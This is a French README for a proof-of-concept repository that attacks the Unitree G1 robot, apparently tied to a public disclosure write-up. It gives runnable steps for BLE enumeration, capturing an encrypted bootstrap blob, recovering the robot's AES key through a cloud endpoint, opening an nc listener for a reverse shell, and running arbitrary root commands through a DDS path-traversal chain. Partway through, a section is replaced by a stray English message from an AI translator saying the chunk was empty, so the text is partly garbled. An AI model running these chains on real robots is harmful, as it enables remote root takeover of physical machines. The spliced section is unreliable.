
Unitree G1 RCE PoC & Scripts (CVE-2026-76639 / CVE-2026-76640) — détails techniques sur boschko.ca/g1-ble-rce/
Détails techniques du PoC et des scripts RCE pour Unitree G1 (CVE-2026-76639 / CVE-2026-76640) sur boschko.ca/g1-ble-rce/
N'utilisez ce dépôt qu'avec des robots, des comptes et des réseaux que vous êtes autorisé à tester. Les chaînes actives peuvent modifier la configuration WiFi du robot, arrêter ou redémarrer des services, faire planter btgatt-server et exécuter des commandes en tant que root.
| Chemin | Contenu |
|---|---|
ble-scanning | Découverte BLE, énumération GATT non appairée, découverte du numéro de série et capture du blob d'amorçage chiffré |
cloud-oracle | Reproduction du flux historique de récupération de clé /device/bindExtData |
chatgo-bashrunner-rce | Chaîne de traversée de chemin DDS encapsulée en WebRTC et d'exécution de commandes bashrunner |
pure-dds-rce | La même chaîne de services DDS implémentée directement avec Cyclone DDS natif |
ble-full-chain-rce | Chaîne active BLE-vers-root : amorçage, récupération de clé cloud, provisionnement WiFi, divulgation PIE et débordement BSS |
scanning-tools | Utilitaires de bas niveau BLE, DDS, WebRTC et d'énumération de services utilisés pendant la recherche |
ble-bss-overflow.html | Parcours interactif du débordement BSS de 1 050 octets de btgatt-server |
Des valeurs telles que 0xF1 et 0xF2 sont des opcodes du protocole filaire BLE. Ce ne sont pas des numéros de constatation.
Les noms sont conservés conformément aux composants livrés : btgatt-server est le processus BLE vulnérable, tandis que chat_go et bashrunner sont des noms de services/modules Unitree. L'exécutable natif de preuve de concept de ce dépôt est nommé loco_rce.
Python 3.11 ou une version plus récente est recommandé.
Les exemples de commandes ci-dessous partent de la racine du dépôt. Les exemples de variables shell interactives utilisent la syntaxe Bash.
git clone <repository-url>
cd githubunitreepoc
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
L'accès BLE dépend de la plateforme hôte. Sur macOS, les adresses affichées par Bleak sont des UUID CoreBluetooth et non des adresses MAC over-the-air.
Ces utilitaires nécessitent une proximité BLE physique mais aucun compte Unitree, clé AES ni appairage préalable.
Énumérer les services GATT exposés du G1 et les permissions des caractéristiques :
python3 ble-scanning/01_ble_gatt_enum.py
Récupérer le numéro de série du robot :
python3 ble-scanning/discover_sn.py --timeout 30
discover_sn.py vérifie d'abord les données du fabricant BLE. Si l'annonce ne contient pas de numéro de série, il se connecte et tente la requête 0xF1 en clair. Ajoutez --passive-only pour désactiver ce repli par connexion.
Capturez le blob d'amorçage 0xF2 chiffré en RSA et enregistrez-le pour l'étape de récupération cloud :
python3 ble-scanning/02_ble_bootstrap.py \
--output ble-scanning/bootstrap-blob.txt
La sortie typique est volontairement abrégée ici :
Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt
Le blob est un texte chiffré, pas la clé AES en clair.
cloud-oracle/03_cloud_oracle.py reproduit le flux historique de récupération de clé de l'application :
GET /system/pubKey.POST /device/bindExtData.Les serveurs actuels peuvent imposer la propriété du robot. Utilisez un compte autorisé pour le robot cible.
Exécutez l'utilitaire et répondez à ses invites :
python3 cloud-oracle/03_cloud_oracle.py --show-http --redact
Il demande le compte, le numéro de série du robot et le chemin du bootstrap-blob. Utilisez ble-scanning/bootstrap-blob.txt pour le fichier créé ci-dessus. --redact masque le jeton d'accès et la clé AES récupérée dans la reproduction curl affichée, ce qui rend la sortie plus sûre à partager.
Pour une exécution privée qui affiche la clé récupérée, omettez --redact :
python3 cloud-oracle/03_cloud_oracle.py
Ne collez pas de jetons d'accès, d'identifiants de compte, de clés de robot, de numéros de série ou de blobs capturés dans les issues ou les transcriptions de terminal publiées.
chat_go → bashrunnerCe PoC atteint les services DDS du robot via son canal de données WebRTC. Il nécessite la clé AES-128 du robot cible et un hôte connecté au réseau Ethernet interne du robot.
Configurez l'interface de l'hôte en fonction du réseau de test. Le PoC utilise par défaut le robot 192.168.123.161 et l'adresse de rappel 192.168.123.55.
Dans le premier terminal, démarrez un écouteur :
nc -lv 4444
Dans le second terminal, fournissez la clé AES hexadécimale de 32 caractères sans la valider dans le dépôt, puis exécutez la chaîne :
read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY
python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
<callback-ip> 4444
I'm ready to translate chunk 19, but no source content was included in your message — the "INPUT:" section is empty.
Please paste the Markdown content for chunk 19 and I'll return the French translation, preserving all structure, code, and identifiers exactly as specified.
[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done
La requête DDS finale peut expirer, car le redémarrage ou l'exécution du service cible perturbe le chemin de réponse. Confirmez le succès depuis le listener au lieu de considérer ce délai d'attente seul comme un échec.
Effacez la variable shell une fois terminé :
unset UNITREE_AES_KEY
Le client natif rejoint directement le domaine DDS 0. Il n'utilise ni WebRTC ni la clé AES du robot.
L'exécutable pure-dds-rce/prebuilt_aarch64/loco_rce fourni et le runtime Cyclone DDS sont destinés à Linux AArch64. L'exécutable est lié à libddsc.so.11 ; le dépôt inclut ce lien symbolique et sa cible libddsc.so.11.0.1.
Sur un hôte Linux AArch64 connecté au réseau Ethernet interne du robot :
Le lanceur vide les adresses existantes de UNITREE_IFACE avant d'attribuer UNITREE_LOCAL_CIDR. Utilisez une interface de laboratoire dédiée et vérifiez deux fois le nom de l'interface avant de l'exécuter.
./pure-dds-rce/run_exploit_c.sh
Exécutez une commande différente en fournissant un argument entre guillemets :
./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'